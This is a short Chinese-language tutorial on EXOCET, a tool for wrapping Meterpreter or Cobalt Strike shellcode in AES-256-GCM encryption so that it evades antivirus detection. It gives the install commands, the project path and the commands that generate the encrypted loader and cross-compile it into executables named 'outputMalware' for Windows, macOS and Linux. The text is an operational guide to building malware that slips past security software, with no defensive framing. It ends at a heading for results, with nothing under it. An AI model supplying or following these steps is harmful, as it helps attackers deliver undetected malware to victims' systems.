关于

EXOCET 基于 Metasploit 的Evasive Payloads模块，因为 EXOCET 在 GCM 模式（Galois/Counter 模式）下使用 AES-256。Metasploit 的 Evasion Payloads 使用易于检测的 RC4 加密。虽然 RC4 可以更快地解密，但 AES-256 很难确定恶意软件的意图。

安装

首先，我们需要在Linux环境中安装Go开发环境。

sudo apt-get update && sudo apt-get install -y golang

接着，克隆项目文件

github.com/tanc7/EXOCET-AV-Evasion

使用

第一步:生成 shellcode，这可以来自 msfvenom Meterpreter 有效载荷、Cobalt Strike Beacons 或您自己的 C 兼容格式的自定义 shellcode

第 二步：仅将 shellcode 代码复制到像 kali.txt 这样的文本文件中，不包括引号

接着，根据系统类型。进行生成相关shell

go run exocet-shellcode-exec.go kali.txt shellcodetest.go KEY

对于 64 位 Windows 目标

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go

然后出现一个文件outputmalware.exe

对于 64 位 MacOS 目标

env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go

对于 64 位 Linux 目标

env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go

效果